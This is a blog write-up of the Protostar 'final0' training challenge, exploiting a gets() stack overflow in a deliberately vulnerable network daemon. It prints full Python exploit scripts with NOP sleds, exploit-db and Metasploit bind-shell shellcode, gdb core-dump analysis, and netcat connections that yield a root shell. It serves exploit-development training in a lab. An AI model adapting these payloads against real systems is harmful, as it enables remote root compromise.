MattAndreko.com

"hostess is a code-slaying dragon found deep within the core of the earth, unearthing magma and vulnerabilities single handedly while using the other hand to pet his cat"

Exploit Exercises - Protostar Final 0

| Comments

I for some reason decided to look at the set of “final” challenges, and found the first one to be not too difficult.

We start with the following code being given to us:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include "../common/common.c"

#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995

/*
 * Read the username in from the network
 */

char *get_username()
{
 char buffer[512];
 char *q;
 int i;

 memset(buffer, 0, sizeof(buffer));
 gets(buffer);

 /* Strip off trailing new line characters */
 q = strchr(buffer, '\n');
 if(q) *q = 0;
 q = strchr(buffer, '\r');
 if(q) *q = 0;

 /* Convert to lower case */
 for(i = 0; i < strlen(buffer); i++) {
  buffer[i] = toupper(buffer[i]);
 }

 /* Duplicate the string and return it */
 return strdup(buffer);
}

int main(int argc, char **argv, char **envp)
{
 int fd;
 char *username;

 /* Run the process as a daemon */
 background_process(NAME, UID, GID); 

 /* Wait for socket activity and return */
 fd = serve_forever(PORT);

 /* Set the client socket to STDIN, STDOUT, and STDERR */
 set_io(fd);

 username = get_username();

 printf("No such user %s\n", username);
}

This is a somewhat standard buffer overflow. The buffer is 512 bytes long, but safe checks aren’t done to make sure it doesn’t go past that size. I tried using the Metasploit Framework’s pattern_create.rb, however, due to the fact that the buffer is having a “toupper()” done on it, it won’t find it. I had to do it manually, by just splitting an array into “a” and “b” segments, and adjusting the sizes each time. I found that the offset was at 532 bytes with the following code:

1
2
3
4
5
6
7
8
9
#!/usr/bin/python

from socket import *
from struct import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("localhost", 2995))

s.send("a"*532 + "b"*8)

When I ran it, I was able to verify that I was correct.

1
2
3
4
5
root@protostar:/home/user# ./532.py 
root@protostar:/home/user# gdb --quiet --core=/tmp/core.11.final0.14765 
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()

Next, I had to inject shellcode into the buffer, and find the address to return to.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(gdb) x/10s $esp-550
0xbffffaaa:  ""
0xbffffaab:  ""
0xbffffaac:  "\211\005"
0xbffffaaf:  ""
0xbffffab0:  "\224\310\351\267\020ii\r", 'A' <repeats 192 times>...
0xbffffb78:  'A' <repeats 200 times>...
0xbffffc40:  'A' <repeats 120 times>
0xbffffcb9:  ""
0xbffffcba:  ""
0xbffffcbb:  ""
(gdb) x/10s 0xbffffab0+8
0xbffffab8:  'A' <repeats 200 times>...
0xbffffb80:  'A' <repeats 200 times>...
0xbffffc48:  'A' <repeats 112 times>
0xbffffcb9:  ""
0xbffffcba:  ""
0xbffffcbb:  ""
0xbffffcbc:  ""
0xbffffcbd:  "\002"
0xbffffcbf:  ""
0xbffffcc0:  'a' <repeats 12 times>, "bbbbbbbb"

From this, we can see that the final buffer, after the “toupper()” and “strdup()” is located at 0xbffffab8. We now have the option of putting the shellcode before or after the return address.

Before

I setup a quick python script to use the offset of 532 bytes, added a little bit of a nop sled and shellcode. Since the code uses a “toupper()”, the shellcode can’t contain any lowercase letters. I luckily was able to find some shellcode that suits this scenario perfectly here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python

from socket import *
from struct import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("localhost", 2995))

offset = 532

ret = "\xEF\xBE\xAD\xDE"
nop = "\x90"*16

shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff" \
"\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47" \
"\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xed" \
"DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB" \
"AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA" \
"JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO" \
"BLAALMNIA"

junk = "a"*(offset-len(nop)-len(shellcode))

s.send(nop + shellcode + junk + ret)

After running that script, I was able to debug the dump file. This allowed me to get the address to return to, containing the nop sled and shellcode.

1
2
3
4
5
6
7
8
root@protostar:/home/user# gdb --quiet --core=/tmp/core.11.final0.14816 
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0  0xdeadbeef in ?? ()
(gdb) x/10x 0xbffffabf
0xbffffabf: 0x90909090 0x90909090 0xeb02eb90 0xfff9e805
0xbffffacf: 0x815fffff 0xffffdfef 0x295e57ff 0xb8c180c9
0xbffffadf: 0x412c078a 0x4704e0c0

Given this information, it should be pretty safe to use 0xbffffabf as a return address. The final script would be:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python

from socket import *
from struct import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("localhost", 2995))

offset = 532
ret = "\xbf\xfa\xff\xbf" #0xbffffabf

nop = "\x90"*16

#http://www.exploit-db.com/exploits/13427/
shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff" \
"\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47" \
"\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xed" \
"DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB" \
"AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA" \
"JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO" \
"BLAALMNIA"

junk = "a"*(offset-len(nop)-len(shellcode))

s.send(nop + shellcode + junk + ret)

I then ran this script:

1
root@protostar:/home/user# ./final0_before.py

The shellcode said that it would bind a shell to port 5074, so I used netcat to connect.

1
2
3
4
5
root@protostar:/home/user# nc localhost 5074
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

That’s root access from the network. Challenge complete.

After

When putting the shellcode after the return address, we don’t have to worry about the “toupper()” function. I simply used the Metasploit Framework’s msfpayload and msfencode functions to generate a basic bind shell.

1
2
3
4
5
6
7
8
9
10
11
mandreko@li225-134:~$ msfpayload linux/x86/shell_bind_tcp R | msfencode -b '\x00\xff\x0d\x0a' -e x86/shikata_ga_nai -t c
[*] x86/shikata_ga_nai succeeded with size 105 (iteration=1)

unsigned char buf[] = 
"\xdb\xce\xd9\x74\x24\xf4\xbb\xa3\xc2\x12\x69\x58\x2b\xc9\xb1"
"\x14\x31\x58\x19\x03\x58\x19\x83\xe8\xfc\x41\x37\x23\xb2\x72"
"\x5b\x17\x07\x2f\xf6\x9a\x0e\x2e\xb6\xfd\xdd\x30\xec\x5f\x8c"
"\x58\xec\x62\x21\xc4\x78\x73\x10\xa4\xf5\x92\xf8\x22\x5e\x98"
"\x7d\x23\x1f\x26\xcd\x37\x10\x40\xfc\xb7\x13\x3d\x98\x7a\x13"
"\xae\x3c\xee\x2b\x89\x73\x6e\x1a\x50\x74\x06\xb2\x8d\xf7\xbe"
"\xa4\xfe\x95\x57\x5b\x88\xb9\xf7\xf0\x03\xdc\x47\xfd\xde\x9f";

I used this shellcode after the return, to generate a basic script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python

from socket import *
from struct import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("localhost", 2995))

offset = 532
ret = "\xEF\xBE\xAD\xDE"
nop = "\x90"*16
junk = "a"*(offset-len(nop))
junk2 = "\x90" * 12

shellcode = "\xdb\xce\xd9\x74\x24\xf4\xbb\xa3\xc2\x12\x69\x58\x2b\xc9\xb1" \
"\x14\x31\x58\x19\x03\x58\x19\x83\xe8\xfc\x41\x37\x23\xb2\x72" \
"\x5b\x17\x07\x2f\xf6\x9a\x0e\x2e\xb6\xfd\xdd\x30\xec\x5f\x8c" \
"\x58\xec\x62\x21\xc4\x78\x73\x10\xa4\xf5\x92\xf8\x22\x5e\x98" \
"\x7d\x23\x1f\x26\xcd\x37\x10\x40\xfc\xb7\x13\x3d\x98\x7a\x13" \
"\xae\x3c\xee\x2b\x89\x73\x6e\x1a\x50\x74\x06\xb2\x8d\xf7\xbe" \
"\xa4\xfe\x95\x57\x5b\x88\xb9\xf7\xf0\x03\xdc\x47\xfd\xde\x9f"

s.send(nop + junk + ret + junk2 + shellcode)

This script is pretty simple, just getting to the return address, and then adding a nop sled, and the shellcode afterwards. It just needs to have a return address to the shellcode, which we can then find using gdb.

1
2
3
4
5
6
7
8
root@protostar:/home/user# gdb --quiet --core=/tmp/core.11.final0.14867 
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0  0xdeadbeef in ?? ()
(gdb) x/10x 0xbffffcd0
0xbffffcd0: 0x90909090 0x90909090 0x90909090 0x74d9cedb
0xbffffce0: 0xa3bbf424 0x586912c2 0x14b1c92b 0x03195831
0xbffffcf0: 0xe8831958 0x233741fc

It looks safe to use 0xbffffcd0, the start of the nop sled.

The final script ends up looking like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python

from socket import *
from struct import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("localhost", 2995))

offset = 532
ret = "\xd0\xfc\xff\xbf" #0xbffffcd0
junk = "a"*offset
nop = "\x90" * 12

#msfpayload linux/x86/shell_bind_tcp R | msfencode -b '\x00\xff\x0d\x0a' -e x86/shikata_ga_nai -t c
shellcode = "\xdb\xce\xd9\x74\x24\xf4\xbb\xa3\xc2\x12\x69\x58\x2b\xc9\xb1" \
"\x14\x31\x58\x19\x03\x58\x19\x83\xe8\xfc\x41\x37\x23\xb2\x72" \
"\x5b\x17\x07\x2f\xf6\x9a\x0e\x2e\xb6\xfd\xdd\x30\xec\x5f\x8c" \
"\x58\xec\x62\x21\xc4\x78\x73\x10\xa4\xf5\x92\xf8\x22\x5e\x98" \
"\x7d\x23\x1f\x26\xcd\x37\x10\x40\xfc\xb7\x13\x3d\x98\x7a\x13" \
"\xae\x3c\xee\x2b\x89\x73\x6e\x1a\x50\x74\x06\xb2\x8d\xf7\xbe" \
"\xa4\xfe\x95\x57\x5b\x88\xb9\xf7\xf0\x03\xdc\x47\xfd\xde\x9f"

s.send(junk + ret + nop + shellcode)

I then ran it.

1
root@protostar:/home/user# ./final0_after.py

And lastly, just like in the other example, I connected to the bind shell. Since I didn’t configure a port number in the msfpayload, the default port number is 4444.

1
2
3
4
5
root@protostar:/home/user# nc localhost 4444
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

There’s root access. Challenge complete.

Conclusion

It turns out there is always more than one way to skin a cat. I’m learning the same applies to exploit development. One could try to make this portable by doing relative jumps with offsets, and ret2libc. I did not do this, as it wasn’t specifically part of the exercise. However, I may come back to it later for fun.

Comments